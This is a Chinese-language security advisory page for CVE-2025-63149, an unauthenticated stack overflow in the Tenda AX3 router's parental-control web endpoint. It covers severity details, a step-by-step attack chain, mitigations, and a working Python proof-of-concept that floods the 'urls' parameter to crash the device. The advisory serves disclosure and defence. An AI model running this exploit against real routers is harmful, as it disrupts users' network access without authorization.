IPBUF安全漏洞报告
English
CVE-2025-63149 CVSS 7.5 高危

CVE-2025-63149: Tenda AX3路由器get_parentControl_list_Info函数栈溢出漏洞

披露日期: 2025-11-10

漏洞信息

漏洞编号
CVE-2025-63149
漏洞类型
栈溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tenda AX3 V16.03.12.10_CN

相关标签

栈溢出拒绝服务路由器漏洞Tenda AX3CVE-2025-63149Web漏洞固件漏洞

漏洞概述

CVE-2025-63149是影响Tenda AX3 V16.03.12.10_CN路由器固件的高危安全漏洞。该漏洞存在于Web管理界面的get_parentControl_list_Info函数中,攻击者可通过构造恶意的urls参数触发栈溢出。Tenda AX3是一款面向家庭和小型办公环境的双频WiFi 6路由器,其Web管理功能存在安全缺陷。由于攻击可通过网络远程发起,且无需任何认证凭证,攻击者可以直接利用该漏洞对设备进行攻击。成功利用此漏洞可导致路由器服务中断,造成网络连接中断,影响用户的正常使用。在某些情况下,栈溢出可能被进一步利用来执行任意代码,从而完全控制受影响的设备。该漏洞的CVSS评分为7.5,属于高危级别,具有较高的安全风险。建议用户尽快采取防护措施,避免遭受潜在攻击。

技术细节

该漏洞的根本原因在于get_parentControl_list_Info函数在处理urls参数时缺乏适当的边界检查。当路由器Web服务接收到包含超长urls参数的HTTP请求时,该函数会将数据直接拷贝到栈上的固定大小缓冲区中,导致缓冲区溢出。攻击者可以通过发送精心构造的HTTP GET或POST请求,在urls参数中包含超过缓冲区容量的数据。由于栈空间被破坏,函数返回地址可能被覆盖,使得攻击者能够控制程序执行流程。在拒绝服务攻击场景下,溢出会导致程序崩溃或进入异常状态,从而中断路由器的正常功能。攻击者只需构造类似?urls=[超长字符串]的请求即可触发漏洞,无需登录设备或获取任何权限。该漏洞存在于路由器的 parental control(家长控制)功能模块中,该功能通常用于管理家庭网络的访问控制策略。攻击者可以利用此漏洞破坏路由器的网络管理能力,影响设备的稳定性和可用性。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标Tenda AX3路由器,确认设备型号和固件版本为V16.03.12.10_CN
STEP 2
步骤2: 构建恶意请求
攻击者构造包含超长urls参数的HTTP请求,该参数用于触发get_parentControl_list_Info函数中的栈溢出
STEP 3
步骤3: 发送攻击载荷
通过HTTP GET或POST方式向路由器的/goform/get_parentControl_list_Info端点发送恶意请求,无需任何认证
STEP 4
步骤4: 触发漏洞
恶意请求被路由器处理,urls参数中的超长数据覆盖栈上的返回地址和关键寄存器
STEP 5
步骤5: 实现攻击效果
栈破坏导致程序控制流被劫持,可造成服务崩溃(DoS)或在特定条件下执行任意代码

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-63149 PoC - Tenda AX3 Stack Overflow in get_parentControl_list_Info This PoC demonstrates the stack overflow vulnerability in the urls parameter of the get_parentControl_list_Info function in Tenda AX3 V16.03.12.10_CN """ import requests import sys import argparse def create_exploit_payload(payload_size=1000): """Generate overflow payload""" # Generate payload with 'A' characters to overflow the buffer # Adjust size based on target buffer return 'A' * payload_size def exploit_cve_2025_63149(target_ip, target_port=80, payload_size=1000, timeout=5): """ Exploit the stack overflow vulnerability in Tenda AX3 Args: target_ip: Target router IP address target_port: Target router web port (default: 80) payload_size: Size of overflow payload timeout: Request timeout in seconds """ url = f"http://{target_ip}:{target_port}/goform/get_parentControl_list_Info" # Create malicious urls parameter to trigger stack overflow payload = create_exploit_payload(payload_size) params = { 'urls': payload } print(f"[*] Target: {target_ip}:{target_port}") print(f"[*] Exploiting CVE-2025-63149...") print(f"[*] Payload size: {payload_size} bytes") try: response = requests.get(url, params=params, timeout=timeout) print(f"[!] Request completed - Check if device is still responsive") print(f"[*] Response status code: {response.status_code}") except requests.exceptions.Timeout: print(f"[+] Request timed out - Device may be crashed (DoS successful)") except requests.exceptions.ConnectionError: print(f"[+] Connection failed - Device may be crashed (DoS successful)") except Exception as e: print(f"[-] Error: {str(e)}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-63149 PoC') parser.add_argument('target', help='Target IP address') parser.add_argument('-p', '--port', type=int, default=80, help='Target port (default: 80)') parser.add_argument('-s', '--size', type=int, default=1000, help='Payload size (default: 1000)') args = parser.parse_args() exploit_cve_2025_63149(args.target, args.port, args.size)

影响范围

Tenda AX3 V16.03.12.10_CN

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 禁用路由器的远程Web管理功能,仅允许局域网内访问;2) 使用强密码保护路由器管理界面;3) 监控路由器网络流量,检测异常请求;4) 考虑使用IP访问控制列表限制管理界面访问;5) 如条件允许,可暂时更换为不受影响的其他品牌路由器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表